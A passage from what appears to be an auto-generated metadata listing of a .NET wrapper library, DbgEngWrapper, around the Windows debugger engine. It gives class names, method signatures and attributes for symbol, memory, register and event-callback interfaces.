Public, HideBySig GetEventProcess(UInt32&(Out)): PrivateScope, Public, HideBySig GetCurrentThreadId(UInt32&(Out)): PrivateScope, Public, HideBySig SetCurrentThreadId(UInt32(In) IsLong): PrivateScope, Public, HideBySig GetCurrentProcessId(UInt32&(Out)): PrivateScope, Public, HideBySig SetCurrentProcessId(UInt32(In) IsLong): PrivateScope, Public, HideBySig GetNumberThreads(UInt32&(Out)): PrivateScope, Public, HideBySig GetTotalNumberThreads(UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetThreadIdsByIndex(UInt32(In) IsLong, UInt32(In) IsLong, UInt32[]&(Out), UInt32[]&(Out)): PrivateScope, Public, HideBySig GetCurrentThreadDataOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetCurrentThreadTeb(UInt64&(Out)): PrivateScope, Public, HideBySig GetThreadIdByTeb(UInt64(In), UInt32&(Out)): PrivateScope, Public, HideBySig GetCurrentThreadSystemId(UInt32&(Out)): PrivateScope, Public, HideBySig GetThreadIdBySystemId(UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig GetNumberProcesses(UInt32&(Out)): PrivateScope, Public, HideBySig GetProcessIdsByIndex(UInt32(In) IsLong, UInt32(In) IsLong, UInt32[]&(Out), UInt32[]&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessDataOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessPeb(UInt64&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessSystemId(UInt32&(Out)): PrivateScope, Public, HideBySig GetProcessIdBySystemId(UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessHandle(UInt64&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessUpTime(UInt32&(Out)): PrivateScope, Public, HideBySig GetImplicitThreadDataOffset(UInt64&(Out)): PrivateScope, Public, HideBySig SetImplicitThreadDataOffset(UInt64(In)): PrivateScope, Public, HideBySig GetImplicitProcessDataOffset(UInt64&(Out)): PrivateScope, Public, HideBySig SetImplicitProcessDataOffset(UInt64(In)): PrivateScope, Public, HideBySig GetEventSystem(UInt32&(Out)): PrivateScope, Public, HideBySig GetCurrentSystemId(UInt32&(Out)): PrivateScope, Public, HideBySig SetCurrentSystemId(UInt32(In) IsLong): PrivateScope, Public, HideBySig GetNumberSystems(UInt32&(Out)): PrivateScope, Public, HideBySig GetSystemIdsByIndex(UInt32(In) IsLong, UInt32(In) IsLong, UInt32[]&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessExecutableNameWide(String&(Out)): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugSymbols: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugSymbols5*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetSymbolOptions(SYMOPT&(Out)): PrivateScope, Public, HideBySig AddSymbolOptions(SYMOPT(In)): PrivateScope, Public, HideBySig RemoveSymbolOptions(SYMOPT(In)): PrivateScope, Public, HideBySig SetSymbolOptions(SYMOPT(In)): PrivateScope, Public, HideBySig GetNumberModules(UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetModuleByIndex(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig GetModuleByOffset(UInt64(In), UInt32(In) IsLong, UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetModuleParameters(UInt32(In) IsLong, UInt64[](In), UInt32(In) IsLong, DEBUG_MODULE_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig GetTypeSize(UInt64(In), UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig GetOffsetTypeId(UInt64(In), UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig ResetScope(): PrivateScope, Public, HideBySig EndSymbolMatch(UInt64(In)): PrivateScope, Public, HideBySig GetTypeOptions(DEBUG_TYPEOPTS&(Out)): PrivateScope, Public, HideBySig AddTypeOptions(DEBUG_TYPEOPTS(In)): PrivateScope, Public, HideBySig RemoveTypeOptions(DEBUG_TYPEOPTS(In)): PrivateScope, Public, HideBySig SetTypeOptions(DEBUG_TYPEOPTS(In)): PrivateScope, Public, HideBySig GetNameByOffsetWide(UInt64(In), String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetOffsetByNameWide(String(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetNearNameByOffsetWide(UInt64(In), Int32(In), String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetLineByOffsetWide(UInt64(In), UInt32&(Out), String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetOffsetByLineWide(UInt32(In) IsLong, String(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetModuleByModuleNameWide(String(In), UInt32(In) IsLong, UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetSymbolModuleWide(String(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetTypeNameWide(UInt64(In), UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetTypeIdWide(UInt64(In), String(In), UInt32&(Out)): PrivateScope, Public, HideBySig GetFieldOffsetWide(UInt64(In), UInt32(In) IsLong, String(In), UInt32&(Out)): PrivateScope, Public, HideBySig GetSymbolTypeIdWide(String(In), UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetScopeSymbolGroup2(DEBUG_SCOPE_GROUP(In), WDebugSymbolGroup(In), WDebugSymbolGroup&(Out)): PrivateScope, Public, HideBySig CreateSymbolGroup2(WDebugSymbolGroup&(Out)): PrivateScope, Public, HideBySig StartSymbolMatchWide(String(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetNextSymbolMatchWide(UInt64(In), String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig ReloadWide(String(In)): PrivateScope, Public, HideBySig GetSymbolPathWide(String&(Out)): PrivateScope, Public, HideBySig SetSymbolPathWide(String(In)): PrivateScope, Public, HideBySig AppendSymbolPathWide(String(In)): PrivateScope, Public, HideBySig GetImagePathWide(String&(Out)): PrivateScope, Public, HideBySig SetImagePathWide(String(In)): PrivateScope, Public, HideBySig AppendImagePathWide(String(In)): PrivateScope, Public, HideBySig GetSourcePathWide(String&(Out)): PrivateScope, Public, HideBySig GetSourcePathElementWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig SetSourcePathWide(String(In)): PrivateScope, Public, HideBySig AppendSourcePathWide(String(In)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_VS_FIXEDFILEINFO(UInt32(In) IsLong, VS_FIXEDFILEINFO&(Out)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_VS_FIXEDFILEINFO(UInt64(In), VS_FIXEDFILEINFO&(Out)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_Translations(UInt32(In) IsLong, UInt32[]&(Out)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_Translations(UInt64(In), UInt32[]&(Out)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_StringInfo(UInt32(In) IsLong, UInt32(In) IsLong, String(In), String&(Out)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_StringInfo(UInt64(In), UInt32(In) IsLong, String(In), String&(Out)): PrivateScope, Public, HideBySig GetModuleNameStringWide(DEBUG_MODNAME(In), UInt32(In) IsLong, UInt64(In), UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetModuleNameStringWide(DEBUG_MODNAME(In), UInt32(In) IsLong, UInt64(In), String&(Out)): PrivateScope, Public, HideBySig GetConstantNameWide(UInt64(In), UInt32(In) IsLong, UInt64(In), String&(Out)): PrivateScope, Public, HideBySig GetFieldNameWide(UInt64(In), UInt32(In) IsLong, UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig IsManagedModule(UInt32(In) IsLong, UInt64(In)): PrivateScope, Public, HideBySig GetModuleByModuleName2Wide(String(In), UInt32(In) IsLong, DEBUG_GETMOD(In), UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetModuleByOffset2(UInt64(In), UInt32(In) IsLong, DEBUG_GETMOD(In), UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig AddSyntheticModuleWide(UInt64(In), UInt32(In) IsLong, String(In), String(In), DEBUG_ADDSYNTHMOD(In)): PrivateScope, Public, HideBySig RemoveSyntheticModule(UInt64(In)): PrivateScope, Public, HideBySig GetCurrentScopeFrameIndex(UInt32&(Out)): PrivateScope, Public, HideBySig SetScopeFrameByIndex(UInt32(In) IsLong): PrivateScope, Public, HideBySig SetScopeFromJitDebugInfo(UInt32(In) IsLong, UInt64(In)): PrivateScope, Public, HideBySig SetScopeFromStoredEvent(): PrivateScope, Public, HideBySig GetFieldTypeAndOffsetWide(UInt64(In), UInt32(In) IsLong, String(In), UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig AddSyntheticSymbolWide(UInt64(In), UInt32(In) IsLong, String(In), DEBUG_ADDSYNTHSYM(In), DEBUG_MODULE_AND_ID&(Out)): PrivateScope, Public, HideBySig RemoveSyntheticSymbol(DEBUG_MODULE_AND_ID(In)): PrivateScope, Public, HideBySig GetSymbolEntriesByOffset(UInt64(In), UInt32(In) IsLong, DEBUG_MODULE_AND_ID[]&(Out), UInt64[]&(Out), UInt32(In) IsLong): PrivateScope, Public, HideBySig GetSymbolEntriesByNameWide(String(In), UInt32(In) IsLong, DEBUG_MODULE_AND_ID[]&(Out)): PrivateScope, Public, HideBySig GetSymbolEntryByToken(UInt64(In), UInt32(In) IsLong, DEBUG_MODULE_AND_ID&(Out)): PrivateScope, Public, HideBySig GetSymbolEntryInformation(DEBUG_MODULE_AND_ID*(In), DEBUG_SYMBOL_ENTRY&(Out)): PrivateScope, Public, HideBySig GetScopeEx(UInt64&(Out), DEBUG_STACK_FRAME_EX&(Out), IntPtr(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig SetScopeEx(UInt64(In), DEBUG_STACK_FRAME_EX(In), IntPtr(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig GetNameByInlineContextWide(UInt64(In), UInt32(In) IsLong, String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetCurrentScopeFrameIndexEx(DEBUG_FRAME(In), UInt32&(Out)): PrivateScope, Public, HideBySig SetScopeFrameByIndexEx(DEBUG_FRAME(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugSymbolGroup: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugSymbolGroup2*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetRaw(): PrivateScope, Public, HideBySig GetNumberSymbols(UInt32&(Out)): PrivateScope, Public, HideBySig RemoveSymbolByIndex(UInt32(In) IsLong): PrivateScope, Public, HideBySig GetSymbolParameters(UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_SYMBOL_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig ExpandSymbol(UInt32(In) IsLong, Boolean(In, HasFieldMarshal)): PrivateScope, Public, HideBySig AddSymbolWide(String(In), UInt32&(In, Out)): PrivateScope, Public, HideBySig RemoveSymbolByNameWide(String(In)): PrivateScope, Public, HideBySig GetSymbolNameWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig WriteSymbolWide(UInt32(In) IsLong, String(In)): PrivateScope, Public, HideBySig OutputAsTypeWide(UInt32(In) IsLong, String(In)): PrivateScope, Public, HideBySig GetSymbolTypeNameWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetSymbolSize(UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig GetSymbolOffset(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig GetSymbolRegister(UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig GetSymbolValueTextWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetSymbolEntryInformation(UInt32(In) IsLong, DEBUG_SYMBOL_ENTRY&(Out)): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugDataSpaces: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugDataSpaces4*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: ReadVirtual(UInt64(In), UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig ReadVirtualDirect(UInt64(In), UInt32(In) IsLong, Byte*(In), UInt32&(Out)): PrivateScope, Public, HideBySig WriteVirtual(UInt64(In), Byte*(In), UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig WriteVirtual(UInt64(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig SearchVirtual(UInt64(In), UInt64(In), Byte[](In), UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig ReadVirtualUncached(UInt64(In), UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig WriteVirtualUncached(UInt64(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig ReadPointersVirtual(UInt32(In) IsLong, UInt64(In), UInt64[]&(Out)): PrivateScope, Public, HideBySig WritePointersVirtual(UInt64(In), UInt64[](In)): PrivateScope, Public, HideBySig ReadPhysical(UInt64(In), UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig WritePhysical(UInt64(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig ReadControl(UInt32(In) IsLong, UInt64(In), UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig WriteControl(UInt32(In) IsLong, UInt64(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig ReadIo(INTERFACE_TYPE(In), UInt32(In) IsLong, UInt32(In) IsLong, UInt64(In), UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig WriteIo(INTERFACE_TYPE(In), UInt32(In) IsLong, UInt32(In) IsLong, UInt64(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig ReadMsr(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig WriteMsr(UInt32(In) IsLong, UInt64(In)): PrivateScope, Public, HideBySig ReadBusData(BUS_DATA_TYPE(In), UInt32(In) IsLong, UInt32(In) IsLong, UInt32(In) IsLong, UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig WriteBusData(BUS_DATA_TYPE(In), UInt32(In) IsLong, UInt32(In) IsLong, UInt32(In) IsLong, Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig CheckLowMemory(): PrivateScope, Public, HideBySig ReadDebuggerData(UInt32(In) IsLong, Byte[](In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig ReadProcessorSystemData(UInt32(In) IsLong, DEBUG_DATA(In), Byte[](In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig VirtualToPhysical(UInt64(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetVirtualTranslationPhysicalOffsets(UInt64(In), UInt64[](In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig ReadHandleData(UInt64(In), DEBUG_HANDLE_DATA_TYPE(In), Byte[]&(In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig FillVirtual(UInt64(In), UInt32(In) IsLong, Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig FillPhysical(UInt64(In), UInt32(In) IsLong, Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig QueryVirtual(UInt64(In), MEMORY_BASIC_INFORMATION64&(Out)): PrivateScope, Public, HideBySig ReadImageNtHeaders(UInt64(In), IMAGE_NT_HEADERS64&(Out)): PrivateScope, Public, HideBySig ReadTagged(Guid(In), UInt32(In) IsLong, Byte[]&(In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig StartEnumTagged(UInt64&(Out)): PrivateScope, Public, HideBySig GetNextTagged(UInt64(In), Guid&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig EndEnumTagged(UInt64(In)): PrivateScope, Public, HideBySig GetOffsetInformation(DEBUG_DATA_SPACE(In), DEBUG_OFFSINFO(In), UInt64(In), Byte[](In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetNextDifferentlyValidOffsetVirtual(UInt64(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetValidRegionVirtual(UInt64(In), UInt32(In) IsLong, UInt64&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig SearchVirtual2(UInt64(In), UInt64(In), DEBUG_VSEARCH(In), Byte[](In), UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig ReadMultiByteStringVirtualWide(UInt64(In), UInt32(In) IsLong, CODE_PAGE(In), String&(Out)): PrivateScope, Public, HideBySig ReadUnicodeStringVirtualWide(UInt64(In), UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig ReadPhysical2(UInt64(In), UInt32(In) IsLong, DEBUG_PHYSICAL(In), Byte[]&(Out)): PrivateScope, Public, HideBySig WritePhysical2(UInt64(In), DEBUG_PHYSICAL(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugRegisters: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugRegisters2*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetNumberRegisters(UInt32&(Out)): PrivateScope, Public, HideBySig GetValue(UInt32(In) IsLong, DEBUG_VALUE&(Out)): PrivateScope, Public, HideBySig SetValue(UInt32(In) IsLong, DEBUG_VALUE(In)): PrivateScope, Public, HideBySig GetInstructionOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetStackOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetFrameOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetDescriptionWide(UInt32(In) IsLong, String&(Out), DEBUG_REGISTER_DESCRIPTION&(Out)): PrivateScope, Public, HideBySig GetIndexByNameWide(String(In), UInt32&(Out)): PrivateScope, Public, HideBySig GetNumberPseudoRegisters(UInt32&(Out)): PrivateScope, Public, HideBySig GetPseudoDescriptionWide(UInt32(In) IsLong, String&(Out), UInt64&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetPseudoIndexByNameWide(String(In), UInt32&(Out)): PrivateScope, Public, HideBySig GetPseudoValues(DEBUG_REGSRC(In), UInt32(In) IsLong, UInt32[](In), DEBUG_VALUE[]&(Out)): PrivateScope, Public, HideBySig GetPseudoValues(DEBUG_REGSRC(In), UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_VALUE[]&(Out)): PrivateScope, Public, HideBySig GetValues2(DEBUG_REGSRC(In), UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_VALUE[]&(Out)): PrivateScope, Public, HideBySig GetValues2(DEBUG_REGSRC(In), UInt32[](In), DEBUG_VALUE[]&(Out)): PrivateScope, Public, HideBySig SetValues2(UInt32(In) IsLong, UInt32[](In), DEBUG_VALUE[](In)): PrivateScope, Public, HideBySig GetInstructionOffset2(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig GetStackOffset2(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig GetFrameOffset2(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugAdvanced: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugAdvanced3*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetThreadContext(Byte*(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig SetThreadContext(Byte*(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig Request(DEBUG_REQUEST(In), Byte*(In), UInt32(In) IsLong, Byte*(In), UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig Interface DbgEngWrapper.IDebugEventCallbacksWideImp: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: GetInterestMask(DEBUG_EVENT&(Out)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Breakpoint(WDebugBreakpoint(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Exception(EXCEPTION_RECORD64&(In), UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateThread(UInt64(In), UInt64(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitThread(UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateProcess(UInt64(In), UInt64(In), UInt64(In), UInt32(In), String(In), String(In), UInt32(In), UInt32(In), UInt64(In), UInt64(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitProcess(UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract LoadModule(UInt64(In), UInt64(In), UInt32(In), String(In), String(In), UInt32(In), UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract UnloadModule(String(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SystemError(UInt32(In), UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SessionStatus(DEBUG_SESSION(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeDebuggeeState(DEBUG_CDS(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeEngineState(DEBUG_CES(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeSymbolState(DEBUG_CSS(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IDebugEventContextCallbacksImp: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: GetInterestMask(DEBUG_EVENT&(Out)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Breakpoint(WDebugBreakpoint(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Exception(EXCEPTION_RECORD64&(In), UInt32(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateThread(UInt64(In), UInt64(In), UInt64(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitThread(UInt32(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateProcess(UInt64(In), UInt64(In), UInt64(In), UInt32(In), String(In), String(In), UInt32(In), UInt32(In), UInt64(In), UInt64(In), UInt64(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitProcess(UInt32(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract LoadModule(UInt64(In), UInt64(In), UInt32(In), String(In), String(In), UInt32(In), UInt32(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract UnloadModule(String(In), UInt64(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SystemError(UInt32(In), UInt32(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SessionStatus(DEBUG_SESSION(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeDebuggeeState(DEBUG_CDS(In), UInt64(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeEngineState(DEBUG_CES(In), UInt64(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeSymbolState(DEBUG_CSS(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IDebugInputCallbacksImp: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: StartInput(UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract EndInput(): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IDebugOutputCallbacksImp: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: Output(DEBUG_OUTPUT(In), String(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IComDbgEngEventCallbacks: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: GetInterestMask(UInt32*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Breakpoint(IDebugBreakpoint2*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Exception(_EXCEPTION_RECORD64*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateThread(UInt64, UInt64, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitThread(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateProcess(UInt64, UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, UInt64, UInt64, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitProcess(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract LoadModule(UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract UnloadModule(Char*, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SystemError(UInt32 IsLong, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SessionStatus(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeDebuggeeState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeEngineState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeSymbolState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IComDbgEngEventContextCallbacks: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: GetInterestMask(UInt32*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Breakpoint(IDebugBreakpoint2*, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Exception(_EXCEPTION_RECORD64*, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateThread(UInt64, UInt64, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitThread(UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateProcess(UInt64, UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, UInt64, UInt64, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitProcess(UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract LoadModule(UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract UnloadModule(Char*, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SystemError(UInt32 IsLong, UInt32 IsLong, 